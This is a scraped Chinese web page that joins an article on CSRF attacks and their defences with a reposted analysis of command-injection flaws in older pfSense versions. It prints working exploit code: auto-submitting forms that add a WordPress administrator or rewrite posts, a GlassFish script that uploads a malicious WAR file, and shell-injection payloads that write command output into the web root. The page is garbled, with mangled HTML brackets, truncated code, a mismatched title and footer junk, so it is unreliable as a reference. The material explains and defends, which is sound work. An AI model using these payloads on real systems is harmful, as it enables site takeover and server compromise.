ddos如何防御通过JWT防御CSRF

4.1k 次阅读
标签:至少1个,最多5个
本文从属于笔者的中系列文章。建议先阅读下Martin Fowler的。
Cross Site Request Forgery
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。CSRF与XSS在攻击手段上有点类似,都是在客户端执行恶意代码,有些文章中认为CSRF与XSS的区别在于CSRF不注重于获取用户Cookie,笔者认为可能还有区别在于CSRF不仅可以在源站发起攻击,还可以引导用户访问其他危险网站的同时发起攻击。XSS全程是跨站脚本攻击,即攻击者向某个Web页面中插入恶意的JavaScript脚本,而当普通用户访问时,该恶意脚本自动执行而从盗取用户的Cookie等信息。对于XSS的防御手段主要就是输入检查与输出检查,譬如对用户输入的文本框内容进行&、&这样的特殊字符检查。而输出检查则是指对于输出到网页的内容进行过滤或者编解码,譬如使用HTML编码将&转义。CSRF为跨站请求伪造,其与XSS有点类似,不过区别在于CSRF不一定依赖于JavaScript,并且不仅可以在源站发起攻击,还有可能当用户访问恶意网站时引导其访问原网站。CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。对于CSRF的防御也分为服务端防御与客户端防御两种,服务端防御典型的譬如给某个页面添加随机数,使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。注意,CSRF并没有打破同源策略。
以下面的这个例子来说:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000危险网站B,它里面有一段HTML的代码如下:
&img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000&
银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的&img&以GET的方 式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的 Cookie发出Get请求,去获取资源“ money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作。参考中所述,XSS与CSRF的区别在于:
XSS攻击需要JavaScript,而CSRF攻击不需要。
XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。过滤用户的输入可以防止恶意代码注入到某个站点,但是它无阻止法恶意代码在第三方站点上运行。
CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。假设Alice访问了一个恶意站点M,该站点提供的内容中的JavaScript代码或者图像标签会导致Alice的浏览器向站点T发送一个HTTP请 求。由于该请求是发给站点T的,所以Alice的浏览器自动地给该请求附上与站点T对应的该会话cookie的sid。站点T看到该请求时,它就能通过该 cookie的推断出:该请求来自Alice,所以站点T就会对Alice的帐户执行所请求的操作。这样,CSRF攻击就能得逞了。其他大多数Web认证机制也面临同样的问题。例如,HTTP BasicAuth机制会要求Alice告诉浏览器她在站点T上的用户名和口令,于是浏览器将用户名和口令附加到之后发给站点T的请求中。当然,站点T也 可能使用客户端SSL证书,但这也面临同样的问题,因为浏览器也会将证书附加到发给站点T的请求中。类似的,如果站点T通过IP地址来验证Alice的身 份的话,照样面临CSRF攻击的威胁。总之,只要身份认证是隐式进行的,就会存在CSRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。原则上,这种威胁可以通过对每个发送至该 站点的请求都要求用户进行显式的、不可欺骗的动作(诸如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。大部分标准和广泛应用的认证机 制都无法防止CSRF攻击,所以我们只好另外探求一个实用的解决方案。
本部分我们来看几个基于CSRF攻击的实例,包括 ,其可以诱导用户点击.submit() 按钮既可以发起攻击。其他的还有稍微复杂一点的 ,其主要使用了 。
该漏洞是由在号发现的,影响了,CVE编号CVE-。WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:
Add Admin/User
Delete Admin/User
Approve comment
Unapprove comment
Delete comment
Change background image
Insert custom header image
Change site title
Change administrator's email
Change Wordpress Address
Change Site Address
那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的Exploit代码为:
&body onload="javascript:document.forms[0].submit()"&
&H2&CSRF Exploit to change post title&/H2&
&form method="POST" name="form0" action="http://&wordpress_ip&:80/wp-admin/admin-ajax.php"&
&input type="hidden" name="post_title" value="hackedtitle"/&
&input type="hidden" name="post_name" value="hackedtitle"/&
&input type="hidden" name="mm" value="03"/&
&input type="hidden" name="jj" value="16"/&
&input type="hidden" name="aa" value="2012"/&
&input type="hidden" name="hh" value=""/&
&input type="hidden" name="mn" value=""/&
&input type="hidden" name="ss" value=""/&
&input type="hidden" name="post_author" value="1"/&
&input type="hidden" name="post_password" value=""/&
&input type="hidden" name="post_category%5B%5D" value="0"/&
&input type="hidden" name="post_category%5B%5D" value="1"/&
&input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/&
&input type="hidden" name="comment_status" value="open"/&
&input type="hidden" name="ping_status" value="open"/&
&input type="hidden" name="_status" value="publish"/&
&input type="hidden" name="post_format" value="0"/&
&input type="hidden" name="_inline_edit" value="&sniffed_value&"/&
&input type="hidden" name="post_view" value="list"/&
&input type="hidden" name="screen" value="edit-post"/&
&input type="hidden" name="action" value="inline-save"/&
&input type="hidden" name="post_type" value="post"/&
&input type="hidden" name="post_ID" value="1"/&
&input type="hidden" name="edit_date" value="true"/&
&input type="hidden" name="post_status" value="all"/&
另一个测试用例时添加某个具有管理员权限的用户,测试用例为:
&body onload="javascript:document.forms[0].submit()"&
&H2&CSRF Exploit to add Administrator&/H2&
&form method="POST" name="form0" action="http://&wordpress_ip&:80/wp-admin/user-new.php"&
&input type="hidden" name="action" value="createuser"/&
&input type="hidden" name="_wpnonce_create-user" value="&sniffed_value&"/&
&input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/&
&input type="hidden" name="user_login" value="admin2"/&
&input type="hidden" name="email" value=""/&
&input type="hidden" name="first_name" value=""/&
&input type="hidden" name="last_name" value=""/&
&input type="hidden" name="url" value=""/&
&input type="hidden" name="pass1" value="password"/&
&input type="hidden" name="pass2" value="password"/&
&input type="hidden" name="role" value="administrator"/&
&input type="hidden" name="createuser" value="Add+New+User+"/&
Oracle GlassFish Server - REST Cross-Site Request Forgery
该漏洞是由Security-Assessment.com发现的,Oracle GlassFish服务器的REST接口可以被CSRF请求攻击,譬如其可以允许普通用户任意上传WAR包,并且可以控制在服务端运行从而导致窃取其他运行应用的信息。关于具体的攻击复盘可以参考。其攻击手段是首先在钓鱼站点上设置如下按钮:
&button id="upload" onclick="start()" type="button"&Upload WAR Archive&/button&
然后添加如下脚本:
var logUrl = 'http://glassfishserver/management/domain/applications/application';
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "---------------------------617",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
asyncreplication: "true",
availabilityenabled: "false",
contextroot: "",
createtables: "true",
dbvendorname: "",
deploymentplan: "",
description: "",
dropandcreatetables: "true",
enabled: "true",
force: "false",
generatermistubs: "false",
isredeploy: "false",
keepfailedstubs: "false",
keepreposdir: "false",
keepstate: "true",
lbenabled: "true",
libraries: "",
logReportedErrors: "true",
precompilejsp: "false",
properties: "",
property: "",
retrieve: "",
target: "",
uniquetablenames: "true",
verify: "false",
virtualservers: "",
__remove_empty_entries__: "true"
if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
var tmp = '';
for (var i = 0; i & fileData. i++) tmp +=
String.fromCharCode(fileData.charCodeAt(i) & 0xff);
fileData =
else { // Chrome 9
// http://javascript0.org/wiki/Portable_sendAsBinary
XMLHttpRequest.prototype.sendAsBinary = function(text){
var data = new ArrayBuffer(text.length);
var ui8a = new Uint8Array(data, 0);
for (var i = 0; i & text. i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();
bb.append(data);
var blob = bb.getBlob();
this.send(blob);
var fileFieldName = "id";
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form- boundary="+boundary); // simulate a
file MIME POST request.
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if ((xhr.status &= 200 && xhr.status &= 200) || xhr.status == 304) {
if (xhr.responseText != "") {
alert(JSON.parse(xhr.responseText).msg);
} else if (xhr.status == 0) {
var body = "";
for (var i in additionalFields) {
if (additionalFields.hasOwnProperty(i)) {
body += addField(i, additionalFields[i], boundary);
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.sendAsBinary(body);
function addField(name, value, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form- name="' + name + '"\r\n\r\n';
c += value + "\r\n";
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\r\n"
c += 'Content-Disposition: form- name="' + name + '"; filename="' + filename + '"\r\n';
c += "Content-Type: application/octet-stream\r\n\r\n";
c += value + "\r\n";
function getBinary(file){
var xhr = new XMLHttpRequest();
xhr.open("GET", file, false);
xhr.overrideMimeType("text/ charset=x-user-defined");
xhr.send(null);
return xhr.responseT
function readBinary(data) {
var tmp = '';
for (var i = 0; i & data. i++) tmp += String.fromCharCode(data.charCodeAt(i) &
function start() {
var c = getBinary('maliciousarchive.war');
fileUpload(c, "maliciousarchive.war");
服务端防御
遵循标准的GET动作
只允许GET请求检索数据,但是不允许它修改服务器上的任何数据。这个修改可以防止利用{img}标签或者其它的类型的GET请求的CSRF攻击。另外,这个建议遵循RFC 2616(HTTP/1.1):具体说来,按照约定,GET和HEAD方法不应该进行检索之外的动作。这些方法应该被认为是“安全的”。虽然这个保护措施无法阻止CSRF本身,因 为攻击者可以使用POST请求,但是它却可以与(2)结合来全面防止CSRF漏洞。这里,我们假定对手无法修改用户的cookie。
为页面增加随机数
当用户访问站点时,该站点应该生成一个(密码上很强壮的)伪随机值,并在用户的计算机上将其设为cookie。站点应该要求每个表单都包含该伪随机 值(作为表单值和cookie值)。当一个POST请求被发给站点时,只有表单值和cookie值相同时,该请求才会被认为是有效的。当攻击者以一个用户的名义提交表单时,他只能修改该表单的值。攻击者不能读取任何发自该服务器的数据或者修改cookie值,这是同源策略的缘故。 这意味着,虽然攻击者可以用表单发送任何他想要的值,但是他却不能修改或者读取存储在该cookie中的值。因为cookie值和表单值必须是相同的,所 以除非攻击者能猜出该伪随机值,否则他就无法成功地提交表单。以PHP为例,我们可以在服务端首先生成随机数:
    //构造加密的Cookie信息
    $value = “DefenseSCRF”;
    setcookie(”cookie”, $value, time()+3600);
在表单里增加Hash值,以认证这确实是用户发送的请求。
    $hash = md5($_COOKIE['cookie']);
  &form method=”POST” action=”transfer.php”&
    &input type=”text” name=”toBankId”&
    &input type=”text” name=”money”&
    &input type=”hidden” name=”hash” value=”&?=$?&”&
    &input type=”submit” name=”submit” value=”Submit”&
  &/form&
然后在服务器端进行Hash值验证:
if(isset($_POST['check'])) {
$hash = md5($_COOKIE['cookie']);
   if($_POST['check'] == $hash) {
   doJob();
        //...
      //...
当然,我们也可以强制要求用户进行任何增删改的操作时都需要输入验证码,即进行用户交互,不过这样也就意味着很差的用户体验。
客户端防御
由于使攻击者成功地执行CSRF攻击的请求是由浏览器发出的,所以可以创建客户端工具来保护用户不受此种攻击。现有的工具RequestRodeo 通过在客户和服务器之间充当代理来防止CSRF攻击。如果RequestRodeo发现了一个它认为是非法的请求,它会从该请求剥离验证信息。虽然这种方 式在很多情况下都能有效,但是它具有一些局限性。具体地说,当客户端使用了SSL认证或者使用JavaScript生成部分页面(因为 RequestRodeo分析的是在浏览器显示之前的流经代理的那些数据)时,它就不起作用了。
人们已经开发了一个浏览器插件,不仅可以使用户可以免受某些类型的CSRF攻击,并且还能克服以上所述的局限性,这个工具是作为Firefox浏览器的扩 展实现的,其地址是~wzeller/csrf/protector/。 为了有效地防范CSRF攻击,用户需要下载安装这个扩展。该扩展会拦截所有的HTTP请求,并判断是否允许该HTTP请求。这个判断要用到下列规则。首 先,POST请求之外的任何要求都是允许的。第二,如果发出请求的站点和目标站点符合同源策略的要求,那么该请求被允许。第三,如果发出请求的站点被允许 使用Adobe的跨域政策来建立一个请求的话,那么该请求也会被允许。如果我们的扩展拒绝一个请求,该扩展会通过一个常见的界面来提示用户(即 Firefox所使用的popup blocker)该请求已经被阻止,并且让用户选择是否将站点添加到一个白名单中。该扩展仅仅拦截POST请求。这意味着,它无法保护用户免受使用GET请求的CSRF攻击 阻止这种类型的攻击的唯一方法是不允许任何跨域GET请求,或只允许用户一次只能登录到一个站点,但是这两个限制可能是用户无法忍受的。
2 收藏&&|&&17
你可能感兴趣的文章
有个问题,假如是spa,整个应用被当成了static文件,那这时候要怎么去防csrf?
有个问题,假如是spa,整个应用被当成了static文件,那这时候要怎么去防csrf?
在登录的时候cookie里返回类似于JWT Token的东西,然后请求的时候务必将JWT Token添加到头部,即不依赖于Cookie进行判断
在登录的时候cookie里返回类似于JWT Token的东西,然后请求的时候务必将JWT Token添加到头部,即不依赖于Cookie进行判断
登陆使用的是第三方服务。所以这样子的话要怎样处理cookie?
登陆使用的是第三方服务。所以这样子的话要怎样处理cookie?
你可能感兴趣的文章
分享到微博?
我要该,理由是:
在 SegmentFault,学习技能、解决问题
每个月,我们帮助 1000 万的开发者解决各种各样的技术问题。并助力他们在技术能力、职业生涯、影响力上获得提升。您还可以使用以下方式登录
当前位置:&>&&>& > PfSense命令注入漏洞分析
PfSense命令注入漏洞分析
在本文中,我们将向大家介绍在PfSense的2.1.3以及更低版本中的CVE-漏洞;对于更高的版本来说,pfSense已经修复了这个漏洞。0x01 Diag_dns.php脚本中的命令注入漏洞下面展示的是脚本diag_dns.php中存在命令注入漏洞的代码片。我们可以看到,这段代码首先检查POST参数host是否存在,如果存在的话,就将变量$GET的值赋给变量$POST。然后,代码继续检查GET参数createalias的值是否等于true,如果是的话,则把POST参数host的值的首尾空白符去掉:trim()函数的作用就是去掉字符串首尾处的空白符,但是字符串中间部分的空白符则保持不变。之后,还有一些其他语句,不过它们并不是我们这里关注的重点,我们关心的是如何插入在反引号中运行的命令。/* Cheap hack to support both $_GET and $_POST */if ($_GET['host'])$_POST = $_GET;if($_GET['createalias'] == &true&) {$host = trim($_POST['host']);if($_GET['override'])$override =$a_aliases = &$config['aliases']['alias'];$type = &hostname&;$resolved = gethostbyname($host);if($resolved) {$host = trim($_POST['host']);$dig=`dig &$host& A | grep &$host& | grep -v &;& | awk '{ print 5 }'`;由于我们可以直接操纵变量$host的值,因此,我们完全可以在注入代码的反引号中插入我们想要执行的命令。下面,我们输入以下内容,让它作为POST变量host的输入值:192.168.1.1&;ifconfig&/usr/local/www/temp.echo+&下面展示的是含有上述输入字符串的HTTP请求,具体如图所示。图1 发送给服务器的恶意请求当上面所示的请求被执行时,Web浏览器会显示如下所示的内容,其中含有一个错误信息,出错原因是没有提供有效的主机名。图2 错误消息:invalid hostname我们已经在用户提供的POST参数host放入了一个特殊字符;,这个字符的作用是分隔多个顺序执行的命令。需要注意的是这种情况下,只有当第一条命令返回``(成功返回)的时候,第二条命令才会被执行;因此,只有确保前面的命令全部成功,后面的命令才能得以执行。下面给出一些可以放在反引号中执行的命令:# dig &192.168.1.1&;# ifconfig&/usr/local/www/temp.# echo+&& A | grep &192.168.1.1&;# ifconfig&/usr/local/www/temp.# echo+&& | grep -v &;& | awk '{ print $5 }'我们会看到,每条命令都会正确执行,其中最重要的命令就是ifconfig了,它已经被注入到了获得输出内容的脚本中了。由于我们无法直接通过响应报文获得这些命令的输出结果,所以必须通过管道命令将其输出到DocumentRoot下的一个文件中,然后才能通过Web浏览器正常访问。下面展示的是https://pfsense/temp.txt中的部分请求内容。图3 生成的temp.txt文件前面,我们已经成功地注入了ifconfig命令并得到了其输出结果,实际上这就意味着我们可以向diag_dns.php脚本输入任意命令并能得到其输出结果。因此,攻击者可以注入精心构造的命令,并使其在服务器上面执行。0x02 Diag_smart.php脚本中的命令注入在diag_smart.php脚本中,含有一个名为update_email的函数,代码如下所示。这个函数的作用是编辑smartd.conf文件,来添加或删除通知磁盘出错情况的电子邮件地址。从下面的代码可以看到,这个函数带有一个名为smartmonemail的POST参数。需要注意的是,这个函数会调用sed命令,并将参数unescaped直接传递给shell_exec函数。 function update_email($email)
// Did they pass an email?
if(!empty($email))
// Put it in the smartd.conf file
shell_exec(&/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m & $email . &/' /usr/local/etc/smartd.conf&);
// Remove email flags in smartd.conf
shell_exec(&/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN/'usr/local/etc/smartd.conf&);
if($_POST['email'])
// Write the changes to the smartd.conf file
update_email($_POST['smartmonemail']);
}实际上,上面的代码存在一个漏洞,允许我们向shell_exec函数注入任意命令,并执行之。下面的请求为我们展示了一个命令注入示例,它将&Command Injection&反射到/var/local/www/cmd.txt文件中。当shell_exec函数执行时,实际上下列命令也会随之执行。# /usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m ejan/'+/usr/local/etc/lynx.# echo+&Command+Injection&&/usr/local/www/cmd.# echo+' /' /usr/local/etc/smartd.在上面的命令中,第一条和第三条命令只是配角,中间那条命令才是我们想要注入的主角。实际上,我们可以利用shell_exec函数注入任意命令。如果使用浏览器访问https://pfsense/cmd.txt就会发现,这个字符串实际上已经被保存到DocumentRoot下的相应文件中了。图4 生成的cmd.txt文件换句话说,攻击者可以注入任意命令,并使其在服务器上面执行。0x03 Status_rrd_graph_img.php脚本中的命令注入漏洞在status_rrd_graph_img.php脚本中也存在命令注入漏洞,这主要是由于exec()函数的调用方式引起的,下面是与此漏洞有关的部分代码。if ($_GET['database']) {
$curdatabase = basename($_GET['database']);
$curdatabase = &wan-traffic.rrd&;
} if(strstr($curdatabase, &queues&)) {
log_error(sprintf(gettext(&failed to create graph from %s%s,emoving database&),$rrddbpath,$curdatabase));
exec(&/bin/rm -f $rrddbpath$curif$queues&);
Usleep(500);
enable_rrd_graphing();
if(strstr($curdatabase, &queuesdrop&)) {
log_error(sprintf(gettext(&failed to create graph from %s%s,emoving database&),$rrddbpath,$curdatabase));
exec(&/bin/rm -f $rrddbpath$curdatabase&);
Usleep(500);
enable_rrd_graphing();
}在上述代码的开头部分,会根据GET参数database的设置情况来调用basename函数:如果设置了该参数,则利用它来调用basename函数;否则就被设为静态字符串wan-traffic.rrd。由于我们想要将代码注入到这个脚本中,所以,我们必须将这个参数设为某个值,因为我们必须这样做才能绕过basename函数。此外,basename函数需要一个文件路径作为其参数,其返回值为路径中的文件名部分(不包括扩展名),需要说明的是在Linux /BSD(pfSense)中使用正斜杠/来作为路径分隔符。因此,这个函数返回的内容基本上就是最后一个正斜杠/后面的字符串,这一点在注入参数值时必须考虑到,因为最后一个正斜杠前面的内容都会被删去。 因此,我们可以向GET参数database中注入任意字符,但是正斜杠除外。需要注意的是,我们可以向上面代码中的任何一个exec()语句注入命令,这主要取决于利用GET参数databage传递的字符串&&就本例来说,我们使用的是第二个exec()函数调用,因为它要更简单一些。 当上面的底部代码被执行的时候,下列命令也会随之执行。# /bin/rm -f /var/db/rrd/$我们可以在这个命令的尾部添加字符;,以便插入其他在rm命令运行结束以后需要执行的命令。需要说明的是,如果我们使用了命令分隔符;的话,那么只有当rm命令已经成功执行完成之后,后插入的命令才会被执行。如果我们并不关心rm命令的执行结果的话,我们可以使用&&来分隔命令。需要说明的是,我们无法向任意目录中echo文本,因为这里不允许使用正斜杠。为了克服这个问题,我们可以先通过cd命令进入预定目录,然后通过命令管道实现文本传输的目的。首先,我们必须搞清楚被执行代码的当前目录,这里为/var/db/rrd/directory。下面的请求展示了我们是如何执行echo+&CMD+INJECT&&cmd.txt命令的。图5 执行echo命令的请求由于当前目录是/var/db/rrd/,因此,这里创建的cmd.txt文件的内容为CMD INJECT,这可以通过显示该文件的内容来加以检验。# cat /var/db/rrd/cmd.txt CMD INJECT为了在PfSense安装路径下的DocumentRoot中生成同样的文件,我们可以通过三个cd ..命令返回上层目录,然后切换至 /usr/local/www/ directory目录,并从这里执行echo命令。这样就能够在/usr/local/www/cmd.txt路径生成cmd.txt文件了。图6 执行echo命令的请求由于我们当前位于PfSense Web应用的DocumentRoot目录中,所以只要在浏览器中请求cmd.txt,就能知道是否收到了输出CMD INJECT了。图7 生成的cmd.txt文件这个漏洞允许我们在PfSense服务器上执行任意的代码,因此最终会导致这个防火墙形同虚设。 换句话说,攻击者可以注入任意命令,并使其在服务器上面执行。0x04 小结本文详细分析了我们在PfSense中发现的一些命令注入漏洞,希望对读者朋友们有所帮助。就爱阅读www.92to.com网友整理上传,为您提供最全的知识大全,期待您的分享,转载请注明出处。
欢迎转载:
推荐:    
4【原】初步认识电脑}

我要回帖

更多关于 如何选择并购防御战略 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信